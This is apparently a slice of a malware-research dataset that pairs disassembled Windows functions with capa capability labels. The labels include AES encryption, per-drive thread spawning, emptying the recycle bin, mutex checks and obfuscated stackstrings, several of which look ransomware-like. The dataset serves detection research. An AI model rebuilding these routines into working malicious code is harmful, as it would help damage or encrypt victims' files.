joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f9d0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42cbd8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x444034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x448ddc]
cmp eax, dword [ecx + 4]
jle 0x40fa3d
push 0x448ddc
call fcn.00414aa9
add esp, 4
cmp dword [0x448ddc], 0xffffffff
jne 0x40fa3d
push 0x42d290
call fcn.004146ef
push 0x448ddc
call fcn.00414a6a
add esp, 8
mov ecx, dword [0x448de4]
mov eax, 0x2aaaaaab
sub ecx, dword [0x448de0]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x40faf1
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
je 0x40faf1
xor esi, esi
cmp dword [ebp - 0x14], esi
jle 0x40faea
mov edx, dword [edi + esi*4]
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], ax
cmp word [edx], ax
je 0x40fab1
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40faa2
sub eax, ebx
sar eax, 1
push eax
push edx
lea ecx, [ebp - 0x2c]
call fcn.0040f020
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 0
push eax
call fcn.0040fb50
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x18]
cmp eax, 8
jb 0x40fae4
inc eax
push eax
push dword [ebp - 0x2c]
call fcn.0040f120
inc esi
cmp esi, dword [ebp - 0x14]
jl 0x40fa81
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 0x448de0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041446e
mov esp, ebp
pop ebp
ret
Function at 0x410270
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42cc65
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x444034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 0
call fcn.004101b0
mov dword [ebp - 4], 0
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], esi
cmp edi, esi
je 0x41038f
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
nop dword [eax]
mov eax, dword [0x448dbc]
cmp eax, dword [ecx + 4]
jle 0x410366
push 0x448dbc
call fcn.00414aa9
add esp, 4
cmp dword [0x448dbc], 0xffffffff
jne 0x410366
mov dword [ebp - 4], 1
mov eax, dword [0x448db8]
test eax, eax
jne 0x410350
push 0x43425c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x410344
push str.SciterAPI
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41033d
call eax
mov dword [0x448db8], eax
jmp 0x410349
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x448db8]
test eax, eax
je 0x410388
mov esi, dword [ebp - 0x18]
push 0x448dbc
mov dword [0x448dc0], eax
mov byte [ebp - 4], 0
call fcn.00414a6a
add esp, 4
lea eax, [edi + 0x10]
push eax
mov eax, dword [0x448dc0]
push edi
push ebx
mov eax, dword [eax + 0x258]
call eax
add edi, 0x20
cmp edi, esi
je 0x41038f
mov ecx, dword [ebp - 0x10]
jmp 0x4102e0
push 0xffffffffffffffff
call fcn.00419fda
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410f40
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x444034]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edx
mov dword [ebp - 0x214], eax
push edi
mov edi, ecx
test esi, esi
je 0x41106d
cmp word [esi], 0
je 0x41106d
push 4
push 0x434ca8
push esi
call fcn.00419b74
add esp, 0xc
test eax, eax
jne 0x410f8f
add esi, 8
push 2
push 0x434cb4
push esi
call fcn.00419b74
add esp, 0xc
test eax, eax
jne 0x410fa6
add esi, 4
push 0x20a
lea eax, [ebp - 0x210]
push 0
push eax
call fcn.00417cd0
push 0x104
push esi
lea eax, [ebp - 0x210]
push 0x105
push eax
call fcn.0041a2e7
lea eax, [ebp - 0x210]
push 0x2e
push eax
call fcn.004166b6
mov esi, eax
add esp, 0x24
test esi, esi
je 0x411018
xor eax, eax
mov word [esi], ax
add esi, 2
je 0x411018
push str.HTML
push esi
call fcn.00419bce
add esp, 8
test eax, eax
je 0x411018
push 0x434cc8
push esi
call fcn.00419bce
add esp, 8
test eax, eax
je 0x411018
push esi
jmp 0x41101a
push 0x17
lea eax, [ebp - 0x210]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x41106d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x41106d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebx], eax
test eax, eax
je 0x41106d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 0x214]
test eax, eax
pop edi
pop esi
pop ebx
mov dword [ecx], eax
setne al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041446e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041446e
mov esp, ebp
pop ebp
ret
Function at 0x4136c0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x78
mov eax, dword [0x444034]
xor eax, esp
mov dword [esp + 0x74], eax
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], eax
test edi, edi
je 0x4138bf
test esi, esi
je 0x4138bf
mov edx, dword [0x448280]
test edx, edx
je 0x413737
push dword [esi + 0x1c]
push eax
push dword [esi + 0x18]
movzx eax, word [esi + 6]
push dword [esi + 0x14]
push dword [esi + 0x10]
push eax
movzx eax, word [esi + 4]
push eax
push str.CUITcpHelper::TcpDispose_1__0x_x____lu____lu____lu____lu____p____lu_
push 0x43f3d8
push 0xffffffffffffffff
push 0x4481f4
call fcn.00406300
mov edx, dword [0x448280]
add esp, 0x2c
movups xmm1, xmmword [esi]
mov ecx, dword [edi + 0xb8]
movups xmm0, xmmword [esi + 0x10]
mov dword [esp + 0x1c], ecx
movd eax, xmm1
movups xmmword [esp + 0x30], xmm0
shr eax, 0x10
mov edi, eax
not edi
and edi, 1
mov dword [esp + 0x4c], edi
test edx, edx
je 0x41378c
and eax, 1
push eax
push edi
push ecx
push str.CUITcpHelper::TcpDispose_2___d____d____d_
push 0x43f3d8
push 0xffffffffffffffff
push 0x4481f4
call fcn.00406300
mov edi, dword [esp + 0x68]
add esp, 0x1c
mov edx, dword [0x448280]
movzx eax, word [esi + 6]
xorps xmm0, xmm0
movzx ecx, word [esi + 4]
movaps xmmword [esp + 0x50], xmm0
mov word [esp + 0x56], ax
mov eax, dword [esi + 0xc]
mov dword [esp + 0x5c], eax
mov eax, 0xf0e7
movaps xmmword [esp + 0x60], xmm0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0xf004
mov dword [esp + 0x6c], 0
mov word [esp + 0x54], cx
mov dword [esp + 0x50], 0x4d4f
cmp cx, ax
je 0x4137ee
test edi, edi
mov edi, dword [esp + 0x14]
je 0x413845
mov dword [esp + 0x48], 0xf001
jmp 0x413845
test edx, edx
je 0x413817
mov eax, dword [esp + 0x18]
push dword [eax + 8]
movzx eax, word [esi + 6]
push eax
push str.CUITcpHelper::TcpDispose__OT_A_UIHELPER_NOTIFY____d____p_
push 0x43f3d8
push 0xffffffffffffffff
push 0x4481f4
call fcn.00406300
add esp, 0x18
mov eax, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x413845
lea edx, [esp + 0x4c]
push edx
lea edx, [esp + 0x4c]
push edx
lea edx, [esp + 0x4c]
push edx
lea edx, [esp + 0x5c]
push edx
push edi
push esi
push dword [esp + 0x34]
push dword [eax + 0xc]
call ecx
push 0x20
push esi
call fcn.00414704
add esp, 8
test edi, edi
je 0x41385f
push 0
push edi
call fcn.00414704
add esp, 8
mov eax, dword [esp + 0x48]
test eax, eax
je 0x413879
or word [esp + 0x52], 2
mov dword [esp + 0x58], eax
mov dword [esp + 0x68], 0
cmp dword [esp + 0x4c], 0
je 0x413894
push dword [esp + 0x44]
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x54]
call fcn.0040c750
add esp, 4
mov eax, dword [esp + 0x44]
test eax, eax
je 0x4138a7
push 0
push eax
call fcn.00414704
add esp, 8
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x74]
xor ecx, esp
call fcn.0041446e
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [esp + 0x7c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.0041446e
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100033e0
Capabilities:
Create device object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
jmp 0x100033f8
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1b
jge 0x1000340e
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov dword [edx + ecx*4 + 0x38], 0x100030d0
jmp 0x100033ef
mov eax, dword [ebp + 8]
mov dword [eax + 0x34], 0x100033a0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x70], 0x10002fe0
push str.Devicepnkbstrk
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x9c40
lea ecx, [ebp - 0xc]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x10003479
push str.DosDevicespnkbstrk_link
push 0x1000a590
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0xc]
push eax
push 0x1000a590
call dword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret 8
Function at 0x10006110
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x10009008], 0x270
jl 0x10006247
cmp dword [0x10009008], 0x271
jne 0x1000613c
push 0x1105
call fcn.100060b0
mov dword [ebp - 8], 0
jmp 0x1000614e
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xe3
jge 0x100061a4
mov ecx, dword [ebp - 8]
mov edx, dword [ecx*4 + 0x100098e0]
and edx, 0x80000000
mov eax, dword [ebp - 8]
mov ecx, dword [eax*4 + 0x100098e4]
and ecx, 0x7fffffff
or edx, ecx
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
shr edx, 1
mov eax, dword [ebp - 8]
xor edx, dword [eax*4 + 0x10009f14]
mov ecx, dword [ebp - 4]
and ecx, 1
xor edx, dword [ecx*4 + 0x1000988c]
mov eax, dword [ebp - 8]
mov dword [eax*4 + 0x100098e0], edx
jmp 0x10006145
jmp 0x100061af
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0x26f
jge 0x10006204
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x100098e0]
and eax, 0x80000000
mov ecx, dword [ebp - 8]
mov edx, dword [ecx*4 + 0x100098e4]
and edx, 0x7fffffff
or eax, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
shr eax, 1
mov ecx, dword [ebp - 8]
xor eax, dword [ecx*4 + 0x10009554]
mov edx, dword [ebp - 4]
and edx, 1
xor eax, dword [edx*4 + 0x1000988c]
mov ecx, dword [ebp - 8]
mov dword [ecx*4 + 0x100098e0], eax
jmp 0x100061a6
mov edx, dword [0x1000a29c]
and edx, 0x80000000
mov eax, dword [0x100098e0]
and eax, 0x7fffffff
or edx, eax
mov dword [ebp - 4], edx
mov ecx, dword [ebp - 4]
shr ecx, 1
xor ecx, dword [0x10009f10]
mov edx, dword [ebp - 4]
and edx, 1
xor ecx, dword [edx*4 + 0x1000988c]
mov dword [0x1000a29c], ecx
mov dword [0x10009008], 0
mov eax, dword [0x10009008]
mov ecx, dword [eax*4 + 0x100098e0]
mov dword [ebp - 4], ecx
mov edx, dword [0x10009008]
add edx, 1
mov dword [0x10009008], edx
mov eax, dword [ebp - 4]
shr eax, 0xb
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
shl ecx, 7
and ecx, 0x9d2c5680
xor ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
shl edx, 0xf
and edx, 0xefc60000
xor edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
shr eax, 0x12
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4039b0
Capabilities:
Encode data using xor
Encrypt data using aes via x86 extensions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
movups xmm1, xmmword [eax]
test edx, edx
je 0x403a30
mov ecx, dword [ebp + 0x18]
dec edx
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x14]
shr edx, 4
sub esi, ecx
inc edx
lea ecx, [ecx + 0x10]
movups xmm0, xmmword [esi + ecx - 0x10]
pxor xmm1, xmm0
pxor xmm1, xmmword [eax]
aesenc xmm1, xmmword [eax + 0x10]
aesenc xmm1, xmmword [eax + 0x20]
aesenc xmm1, xmmword [eax + 0x30]
aesenc xmm1, xmmword [eax + 0x40]
aesenc xmm1, xmmword [eax + 0x50]
aesenc xmm1, xmmword [eax + 0x60]
aesenc xmm1, xmmword [eax + 0x70]
aesenc xmm1, xmmword [eax + 0x80]
aesenc xmm1, xmmword [eax + 0x90]
aesenclast xmm1, xmmword [eax + 0xa0]
movups xmmword [ecx - 0x10], xmm1
sub edx, 1
jne 0x4039d1
pop esi
pop ebp
ret
Function at 0x403a40
Capabilities:
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
lea eax, [ebp - 4]
push esi
push edi
push eax
push 0
push 0
push 0x409030
push 0
push 0
call ebx
mov ecx, dword [0x425db8]
mov dword [ecx*4 + 0x424da0], eax
inc ecx
mov dword [0x425db8], ecx
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
xor edi, edi
mov dword [ebp - 0xc], eax
lea edx, [edi + 0x25]
lea esi, [edi + 0x43]
mov ecx, edi
shr eax, cl
test al, 1
je 0x403b8b
xor eax, eax
mov dword [ebp - 0x20], 0x430025
mov word [ebp - 0x18], ax
lea esi, [edi + 0x41]
push esi
lea eax, [ebp - 0x20]
mov dword [ebp - 0x1c], 0x5c003a
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
push esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x430025
push eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x10], 0x3a
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
push 0x400
mov dword [ebp - 8], 0x200
call fcn.004121fe
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x38]
push eax
call sub.MPR.dll_WNetGetConnectionW
push esi
test eax, eax
jne 0x403b3a
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashW]
lea eax, [ebp - 4]
push eax
push 0
push esi
push fcn.00403c00
push 0
push 0
call ebx
mov ecx, dword [0x425db8]
mov dword [ecx*4 + 0x424da0], eax
inc ecx
mov dword [0x425db8], ecx
jmp 0x403b42
call fcn.004121f9
add esp, 4
push 0xa
call fcn.004121fe
movq xmm0, qword [ebp - 0x2c]
add esp, 4
mov cx, word [ebp - 0x24]
movq qword [eax], xmm0
mov word [eax + 8], cx
lea eax, [ebp - 4]
push eax
push 0
push edi
push 0x403c40
push 0
push 0
call ebx
mov ecx, dword [0x425db8]
mov edx, 0x25
mov dword [ecx*4 + 0x424da0], eax
lea esi, [edx + 0x1e]
inc ecx
mov dword [0x425db8], ecx
mov eax, dword [ebp - 0xc]
inc edi
cmp edi, 0x19
jl 0x403a87
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x3e8
call esi
push 0xa
call esi
cmp dword [0x42675c], 0
jne 0x403ba5
cmp dword [0x425dbc], 0
jne 0x403ba5
push 0xffffffffffffffff
push 1
push 0x424da0
push dword [0x425db8]
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
xor esi, esi
cmp dword [0x425db8], esi
jle 0x403bf2
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [esi*4 + 0x424da0]
call edi
inc esi
cmp esi, dword [0x425db8]
jl 0x403be0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403c00
Capabilities:
Empty the recycle bin

Disassembly:
push ebp
mov ebp, esp
push 7
push dword [ebp + 8]
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
lock inc dword [0x425dbc]
push dword [ebp + 8]
call fcn.00403da0
add esp, 4
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lock dec dword [0x425dbc]
xor eax, eax
pop ebp
ret 4
Function at 0x403cd0
Capabilities:
Accept command line arguments
Check if file exists
Get file attributes
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 8], 2
mov dword [ebp - 4], eax
jge 0x403d03
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004088d0
test eax, eax
jne 0x403d14
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov esi, 1
cmp dword [ebp - 8], esi
jle 0x403d76
mov ebx, dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
nop word [eax + eax]
mov eax, dword [ebp - 4]
push dword [eax + esi*4]
call ebx
cmp eax, 0xffffffff
je 0x403d70
mov ecx, eax
and ecx, 0x10
je 0x403d54
mov eax, dword [ebp - 4]
push dword [eax + esi*4]
call fcn.00403da0
add esp, 4
jmp 0x403d70
test al, 1
je 0x403d65
mov eax, dword [ebp - 4]
push 0x80
push dword [eax + esi*4]
call edi
mov eax, dword [ebp - 4]
push dword [eax + esi*4]
call fcn.00407d20
inc esi
cmp esi, dword [ebp - 8]
jl 0x403d30
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
nop dword [eax]
push 0xa
call esi
cmp dword [0x42675c], 0
jne 0x403d80
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x404e50
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1788
call fcn.00409820
push esi
push edi
push 0x400
lea eax, [ebp - 0x620]
push 0
push eax
call fcn.00401000
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edi, eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wvsprintfA]
mov esi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx ecx, word [ebp - 8]
lea eax, [ebp - 0x620]
push eax
movzx eax, word [ebp - 0xc]
push ecx
movzx ecx, word [ebp - 0xa]
push ecx
push eax
lea eax, [ebp - 0xa20]
push str.__.2u:_.2u:_.2u__.__s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
cmp esi, edi
mov esi, dword [sym.imp.KERNEL32.DLL_GetLastError]
jge 0x404edf
call esi
test eax, eax
jne 0x404fd9
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
lea eax, [ebp - 0x1788]
push eax
lea eax, [ebp - 0xa20]
push eax
call dword [sym.imp.USER32.dll_CharToOemA]
call esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push eax
lea eax, [ebp - 0x620]
push eax
lea eax, [ebp - 0x1388]
push str._S_:__d_r_n
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x220]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x220]
push eax
push str._s_resultlog10.dll
push eax
call esi
add esp, 0xc
cmp dword [0x425dc0], 0
jne 0x404f61
push 0x425da0
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
mov dword [0x425dc0], 1
push 0x425da0
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
push 0
push 0
push 4
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
push 2
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea ecx, [ebp - 0x1388]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404fa0
sub ecx, edx
lea eax, [ebp - 4]
push 0
sar ecx, 1
push eax
lea eax, [ecx + ecx]
push eax
lea eax, [ebp - 0x1388]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x425da0
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405110
Capabilities:
Contain obfuscated stackstrings
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
xor eax, eax
mov dword [ebp - 0x78], 0x69004d
cmp dword [0x426754], 1
push esi
push edi
mov dword [ebp - 0x74], 0x720063
mov dword [ebp - 0x70], 0x73006f
mov dword [ebp - 0x6c], 0x66006f
mov dword [ebp - 0x68], 0x200074
mov dword [ebp - 0x64], 0x610042
mov dword [ebp - 0x60], 0x650073
mov dword [ebp - 0x5c], 0x430020
mov dword [ebp - 0x58], 0x790072
mov dword [ebp - 0x54], 0x740070
mov dword [ebp - 0x50], 0x67006f
mov dword [ebp - 0x4c], 0x610072
mov dword [ebp - 0x48], 0x680070
mov dword [ebp - 0x44], 0x630069
mov dword [ebp - 0x40], 0x500020
mov dword [ebp - 0x3c], 0x6f0072
mov dword [ebp - 0x38], 0x690076
mov dword [ebp - 0x34], 0x650064
mov dword [ebp - 0x30], 0x200072
mov dword [ebp - 0x2c], 0x310076
mov dword [ebp - 0x28], 0x30002e
mov word [ebp - 0x24], ax
jne 0x4051e0
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x4051d2
mov edx, dword [ebp + 8]
rdrand esi
mov dword [eax + edx], esi
jae 0x4051c5
inc eax
cmp eax, ecx
jb 0x4051c5
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
mov byte [ebp - 6], al
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], 0x79726362
mov dword [ebp - 0xc], 0x642e7470
mov word [ebp - 8], 0x6c6c
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
jne 0x405248
push 0xf0000000
push 1
lea eax, [ebp - 0x78]
push eax
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x40523d
push dword [ebp + 8]
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x4051d2
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
movaps xmm0, xmmword [str.BCryptGenRandom]
lea ecx, [ebp - 0x20]
push ecx
push eax
movups xmmword [ebp - 0x20], xmm0
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x40527c
push 2
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
call eax
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0xf0000000
push 1
lea eax, [ebp - 0x78]
push eax
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x405220
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4052a0
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x58314f58
push eax
push 0
push 0x1f0001
mov dword [ebp - 8], 0x4f704441
mov word [ebp - 4], 0x3130
mov byte [ebp - 2], 0
call dword [sym.imp.KERNEL32.DLL_OpenMutexA]
test eax, eax
jne 0x4052f0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_ExitProcess]